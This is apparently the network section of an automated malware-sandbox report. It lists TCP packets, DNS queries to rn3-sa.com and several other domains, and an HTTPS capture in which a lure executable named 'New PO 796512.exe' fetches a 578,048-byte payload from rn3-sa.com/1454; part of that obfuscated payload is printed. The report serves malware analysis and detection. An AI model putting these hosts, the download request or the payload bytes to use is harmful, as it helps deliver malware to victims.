                                                                                          Nov 21, 2024 16:33:01.968451023 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:01.975554943 CET4434993966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:01.975600004 CET4434993966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:01.975642920 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:01.975652933 CET4434993966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:01.975687981 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:01.975728035 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:01.982125044 CET4434993966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:01.982167959 CET4434993966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:01.982218981 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:01.982228041 CET4434993966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:01.982258081 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:01.982742071 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:01.989496946 CET4434993966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:01.989542007 CET4434993966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:01.989639044 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:01.989639044 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:01.989650011 CET4434993966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:01.989849091 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:01.996592045 CET4434993966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:01.996653080 CET4434993966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:01.996687889 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:01.996695995 CET4434993966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:01.996721983 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:01.996906996 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:02.006280899 CET4434993966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:02.006321907 CET4434993966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:02.006361961 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:02.006371975 CET4434993966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:02.006385088 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:02.006503105 CET4434993966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:02.006684065 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:02.008285046 CET49939443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:14.787909985 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:14.787947893 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:14.788023949 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:14.791004896 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:14.791021109 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:16.386418104 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:16.386501074 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:16.388397932 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:16.388410091 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:16.388899088 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:16.407180071 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:16.447336912 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:16.899432898 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:16.941114902 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:16.968038082 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:16.968065977 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:16.968082905 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:16.968100071 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:16.968126059 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:16.968128920 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:16.968147993 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:16.968174934 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:16.968187094 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:16.968199968 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:16.968221903 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.104695082 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.104772091 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.163197041 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.163250923 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.163280964 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.163294077 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.163322926 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.163342953 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.230967999 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.230989933 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.231086969 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.231086969 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.231103897 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.231205940 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.327655077 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.327677011 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.327761889 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.327763081 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.327780962 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.327896118 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.357319117 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.357363939 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.357409000 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.357419014 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.357448101 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.357536077 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.378926039 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.378972054 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.379015923 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.379025936 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.379038095 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.379095078 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.398750067 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.398796082 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.398838997 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.398848057 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.398885965 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.398973942 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.516807079 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.516832113 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.516910076 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.516922951 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.517000914 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.517163992 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.532344103 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.532366037 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.532452106 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.532452106 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.532470942 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.532608986 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.547997952 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.548074007 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.548145056 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.548145056 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.548157930 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.548300982 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.561275959 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.561306000 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.561395884 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.561395884 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.561419010 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.561530113 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.575951099 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.575975895 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.576112986 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.576128006 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.576217890 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.582000017 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.591291904 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.591362000 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.591413021 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.591420889 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.591455936 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.591736078 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.606703997 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.606754065 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.606803894 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.606812954 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.606919050 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.606983900 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.713979006 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.714044094 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.714087963 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.714102030 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.714174986 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.714337111 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.725467920 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.725488901 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.725620031 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.725655079 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.725701094 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.725826979 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.734695911 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.734716892 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.734796047 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.734796047 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.734805107 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.734906912 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.745381117 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.745409966 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.745480061 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.745480061 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.745488882 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.745559931 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.755398035 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.755448103 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.755474091 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.755481958 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.755539894 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.755681038 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.766004086 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.766047001 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.766107082 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.766114950 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.766144037 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.766201019 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.776731014 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.776773930 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.776833057 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.776840925 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.776875973 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.776973009 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.906054974 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.906119108 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.906182051 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.906209946 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.906274080 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.908267021 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.914165020 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.914211988 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.914262056 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.914268970 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.914341927 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.916620016 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.922542095 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.922588110 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.922683954 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.922684908 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.922693014 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.922848940 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.929682970 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.929744005 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.929841995 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.929850101 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.929871082 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.932883978 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.937848091 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.937911987 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.937969923 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.937978983 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.938025951 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.938123941 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.945674896 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.945718050 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.945838928 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.945859909 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.945930004 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.946021080 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.953923941 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.953964949 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.954087973 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.954088926 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.954116106 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.954263926 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.974714994 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.974761009 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.974859953 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.974889040 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:17.974989891 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:17.975199938 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.112131119 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.112196922 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.112257004 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.112257004 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.112278938 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.113065958 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.117667913 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.117701054 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.117747068 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.117754936 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.117799044 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.117860079 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.125658989 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.125719070 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.125806093 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.125813961 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.125853062 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.129033089 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.133477926 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.133529902 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.133579016 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.133593082 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.133676052 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.133898973 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.141015053 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.141037941 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.141119957 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.141119957 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.141136885 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.141244888 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.148794889 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.148858070 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.148914099 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.148922920 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.148957014 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.148998022 CET4434997466.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:33:18.149121046 CET49974443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:33:18.154827118 CET49974443192.168.2.766.29.153.238

                                                                                          UDP Packets

                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                          Nov 21, 2024 16:31:04.709322929 CET6155953192.168.2.71.1.1.1
                                                                                          Nov 21, 2024 16:31:05.125037909 CET53615591.1.1.1192.168.2.7
                                                                                          Nov 21, 2024 16:31:52.583394051 CET4939753192.168.2.71.1.1.1
                                                                                          Nov 21, 2024 16:31:52.822432995 CET53493971.1.1.1192.168.2.7
                                                                                          Nov 21, 2024 16:32:12.207439899 CET5680653192.168.2.71.1.1.1
                                                                                          Nov 21, 2024 16:32:12.613217115 CET53568061.1.1.1192.168.2.7
                                                                                          Nov 21, 2024 16:32:31.910485983 CET4995353192.168.2.71.1.1.1
                                                                                          Nov 21, 2024 16:32:32.282602072 CET53499531.1.1.1192.168.2.7
                                                                                          Nov 21, 2024 16:32:52.692069054 CET6432853192.168.2.71.1.1.1
                                                                                          Nov 21, 2024 16:32:52.926846027 CET53643281.1.1.1192.168.2.7

                                                                                          DNS Queries

                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                          Nov 21, 2024 16:31:04.709322929 CET192.168.2.71.1.1.10xee74Standard query (0)rn3-sa.comA (IP address)IN (0x0001)false
                                                                                          Nov 21, 2024 16:31:52.583394051 CET192.168.2.71.1.1.10xfb64Standard query (0)www.heterraceongregory.storeA (IP address)IN (0x0001)false
                                                                                          Nov 21, 2024 16:32:12.207439899 CET192.168.2.71.1.1.10xba75Standard query (0)www.onghi292.topA (IP address)IN (0x0001)false
                                                                                          Nov 21, 2024 16:32:31.910485983 CET192.168.2.71.1.1.10xf6cStandard query (0)www.uikstudy.sbsA (IP address)IN (0x0001)false
                                                                                          Nov 21, 2024 16:32:52.692069054 CET192.168.2.71.1.1.10x66f5Standard query (0)www.pertforces.storeA (IP address)IN (0x0001)false

                                                                                          DNS Answers

                                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                          Nov 21, 2024 16:31:05.125037909 CET1.1.1.1192.168.2.70xee74No error (0)rn3-sa.com66.29.153.238A (IP address)IN (0x0001)false
                                                                                          Nov 21, 2024 16:31:52.822432995 CET1.1.1.1192.168.2.70xfb64Name error (3)www.heterraceongregory.storenonenoneA (IP address)IN (0x0001)false
                                                                                          Nov 21, 2024 16:32:12.613217115 CET1.1.1.1192.168.2.70xba75Name error (3)www.onghi292.topnonenoneA (IP address)IN (0x0001)false
                                                                                          Nov 21, 2024 16:32:32.282602072 CET1.1.1.1192.168.2.70xf6cName error (3)www.uikstudy.sbsnonenoneA (IP address)IN (0x0001)false
                                                                                          Nov 21, 2024 16:32:52.926846027 CET1.1.1.1192.168.2.70x66f5Name error (3)www.pertforces.storenonenoneA (IP address)IN (0x0001)false

                                                                                          HTTP Request Dependency Graph

                                                                                          • rn3-sa.com

                                                                                          HTTPS Proxied Packets

                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          0192.168.2.74969966.29.153.2384434072C:\Users\user\Desktop\New PO 796512.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          2024-11-21 15:31:07 UTC64OUTGET /1454 HTTP/1.1
                                                                                          Host: rn3-sa.com
                                                                                          Connection: Keep-Alive
                                                                                          2024-11-21 15:31:07 UTC249INHTTP/1.1 200 OK
                                                                                          keep-alive: timeout=5, max=100
                                                                                          last-modified: Wed, 20 Nov 2024 16:37:08 GMT
                                                                                          accept-ranges: bytes
                                                                                          content-length: 578048
                                                                                          date: Thu, 21 Nov 2024 15:31:07 GMT
                                                                                          server: LiteSpeed
                                                                                          x-turbo-charged-by: LiteSpeed
                                                                                          connection: close
                                                                                          2024-11-21 15:31:07 UTC16384INData Raw: fb 08 3e ae b1 ae ae ae b2 ae ae ae ad ad ae ae 66 ae ae ae ae ae ae ae ee ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae 2e ae ae ae bc cd 68 bc ae 62 b7 7b cf 66 af fa 7b cf 02 16 17 21 ce 1e 20 1d 15 20 0f 1b ce 11 0f 1c 1c 1d 22 ce 10 13 ce 20 23 1c ce 17 1c ce f2 fd 01 ce 1b 1d 12 13 dc bb bb b8 d2 ae ae ae ae ae ae ae fe f3 ae ae fa af b1 ae 47 cf 1c 94 ae ae ae ae ae ae ae ae 8e ae b0 cf b9 af de ae ae 7a b6 ae ae 7c b6 ae ae ae ae ae a8 97 b6 ae ae ce ae ae ae ce b7 ae ae ae ee ae ae ce ae ae ae b0 ae ae b2 ae ae ae ae ae ae ae b2 ae ae ae ae ae ae ae ae ee b7 ae ae b0 ae ae ae ae ae ae b1 ae ee 33 ae ae be ae ae be ae ae ae ae be ae ae be ae ae ae ae ae ae be ae ae ae ae ae ae ae ae ae ae
                                                                                          Data Ascii: >f.hb{f{! " #Gz|3
